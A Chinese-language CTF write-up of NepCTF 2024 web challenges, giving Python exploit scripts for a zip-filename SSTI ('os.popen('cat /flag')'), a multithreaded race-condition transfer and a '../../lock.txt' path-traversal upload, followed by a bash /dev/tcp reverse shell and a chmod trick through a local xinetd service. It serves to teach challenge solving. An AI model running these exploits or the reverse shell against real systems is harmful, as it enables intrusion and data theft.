2024NepCTF web复现

NepDouble

python 复制代码
 if request.method != "POST":
        return 'Please use POST method to upload files.'
python 复制代码
file_extension = files.filename.rsplit('.', 1)[-1].lower()
        if file_extension != 'zip':
            return 'Invalid file type. Please upload a .zip file.'
python 复制代码
        with ZipFile(files) as zip_file:
            zip_file.extractall(path=unzip_folder)

        files_list = []
        for root, dirs, files in os.walk(unzip_folder):
            for file in files:
                print(file)
                file_path = os.path.join(root, file)
                relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
                link = f'<a href="/cat?file={relative_path}">{file}</a>'
                files_list.append(link)

        return render_template_string('<br>'.join(files_list))

查看附件的app.py时发现需要用post提交一个zip文件即可解压并返回超链接<a href="/cat?file={relative_path}">{file}</a>渲染网页,所以我们可以用脚本进行连接并上传一个带有ssti的payload的zip文件

python 复制代码
import requests
import io
import zipfile
# 创建一个内存中的字节流对象
zip_buffer = io.BytesIO()
# 使用 zipfile.ZipFile 创建 ZIP 文件
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
    # 向ZIP文件中添加自定义文件和内容
    zip_file.writestr('file1.txt', 'This is the content of file1.')
    zip_file.writestr("{{7*7}}", 'This is the content of file2.')
# 将字节流的指针移动到文件开始位置
zip_buffer.seek(0)
# 构造上传的文件数据
files = {'tp_file': ('test.zip', zip_buffer, 'application/zip')}
# 上传到服务器
url = 'https://neptune-44698.nepctf.lemonprefect.cn/'
response = requests.post(url=url, files=files, allow_redirects=False)
# 打印响应内容
print(response.text)
复制代码
{{lipsum.__globals__.os.popen('cat /flag').read()}}

蹦蹦炸弹

根据代码,整理出流程为:登入HRP用户(余额6000)->重置->获取其他用户(随机生成,余额2000)->利用多线程转账给随机生成的用户->购买admin用户的密码(密码值10000)->登入admin用户->上传文件lock.txt->执行cmd命令得到flag

由于获取admin的密码需要用到多线程提交转账请求刷取且登入admin后也无法在页面里上传文件,所以所有流程就得全部通过脚本实现(这里直接用官方给的exp)

如果运行一次脚本不行就多运行几次,可能是转账的金额还没有达到10000

登入admin

python 复制代码
import requests
import threading
import re

def transfer_to_user(session, user, amount):
    transfer_url = "https://neptune-57790.nepctf.lemonprefect.cn/transfer"
    data = {
        "receiver": user,
        "amount": amount,
        "logs": "true",
    }
    session.post(transfer_url, data=data)


session = requests.Session()

# 登入
login_url = "https://neptune-57790.nepctf.lemonprefect.cn/login"
login_data = {
    "username": "HRP",
    "password": "HRP"
}
session.post(login_url, data=login_data)

# 重置
reset_url = "https://neptune-57790.nepctf.lemonprefect.cn/reset"
session.get(reset_url, data="")

# 获取其他用户
get_users_url = "https://neptune-57790.nepctf.lemonprefect.cn/get_users?num=1"
response = session.get(get_users_url)
first_user = response.json()["users"][0]

# 转账
threads = []
for _ in range(100):
    t = threading.Thread(target=transfer_to_user, args=(session, first_user, 1000))
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print(f"Transferred 100 units to {first_user} 100 times!")

# 购买提取flag
force_buy_flag_data_url = "https://neptune-57790.nepctf.lemonprefect.cn/force_buy_flag"
force_buy_flag_data = {
    "target_user": first_user
}
admin_passwd = session.post(force_buy_flag_data_url, data=force_buy_flag_data)
print(admin_passwd.text)
pattern = r'flag:\s+(.+)'
# 使用正则表达式进行匹配
matches = re.findall(pattern, admin_passwd.text)
# 提取到的匹配结果
for match in matches:
    print("admin_passwd:", match)
    admin_passwd = match

# 登录admin
login_url = "https://neptune-57790.nepctf.lemonprefect.cn/admin"
login_data = {"username": "admin", "password": admin_passwd}
# 发送登录POST请求
session = requests.Session()
login_response = session.post(login_url, data=login_data)

用购买的密码登入后发现上传文件没有路径继续用代码实现

上传文件

python 复制代码
# 上传的文件
import os

os.system("touch lock.txt")
file_path = './lock.txt'
upload_url = 'https://neptune-57790.nepctf.lemonprefect.cn/admin/dashboard'
# 使用session对象打开文件并进行上传
with open(file_path, 'rb') as f:
    files = {'file': ('../../lock.txt', f)}  # Changed the file name to just 'lock.txt'
    upload_response = session.post(upload_url, files=files)

# 输出服务器响应
print(upload_response.text)

上传lock.txt文件后getshell,执行cmd命令

由于每次执行命令都需要运行所以直接反弹shell到自己的服务器上

复制代码
本机:nc -lvvp 7777
目标机:bash -c "bash -i >& /dev/tcp/your_ip/7777 0>&1"

查看当前路径,目录和用户

pwd && ls && whoami

直接尝试cat /home/ctfuser/f*发现不能查看

查看ctfuser目录文件权限发现flag没有读写权限

ls -ahl

查看根目录下发现有一个flag.sh

发现是使flag无读写权限的文件

查看进程

ps aux

可以发现典型的中间件进程xinetd服务开启,配置文件一般在/etc中

查看/etc目录发现conf文件和一个xinetd.d目录

cd /etc

ls -ahl

查看xinetd.conf没发现有用信息,进入xinetd.d查看

查看文件发现pwnservice里的内容正是运行服务文件

利用flag.sh中的命令给flag赋权

echo -e "#/bin/bash\nchmod 777 /home/ctfuser/f*"> start.sh && nc 127.0.0.1 8888

cat /home/ctfuser/f*

这题主要还是考察对于python脚本的理解,包括代码审计和脚本编写

PHP_MASTER!!

相关推荐
Fairy要carry25 分钟前
面试-Agent Loop
前端·chrome
墨染天姬29 分钟前
【AI】linux-windows即将消亡,未来模型即系统
linux·人工智能·windows
我不听你讲话2 小时前
关系型与非关系型数据库视角下的 MySQL:特性解析与 Linux 部署实践
linux·mysql·nosql
Fcy6482 小时前
Linux下 进程控制(一) —— 进程的创建、终止和等待
linux·运维·elasticsearch·进程控制·进程创建、终止、等待
Surmon2 小时前
基于 Cloudflare 生态的 AI Agent 实现
前端·人工智能·架构
prince055 小时前
用户积分系统怎么设计
java·大数据·数据库
六月June June7 小时前
自定义调色盘组件
前端·javascript·调色盘
原来是猿7 小时前
MySQL【内置函数】
数据库·mysql
難釋懷8 小时前
Redis分片集群插槽原理
数据库·redis·缓存
万象.8 小时前
Linux传输层TCP,UDP相关内容
linux·tcp/ip·udp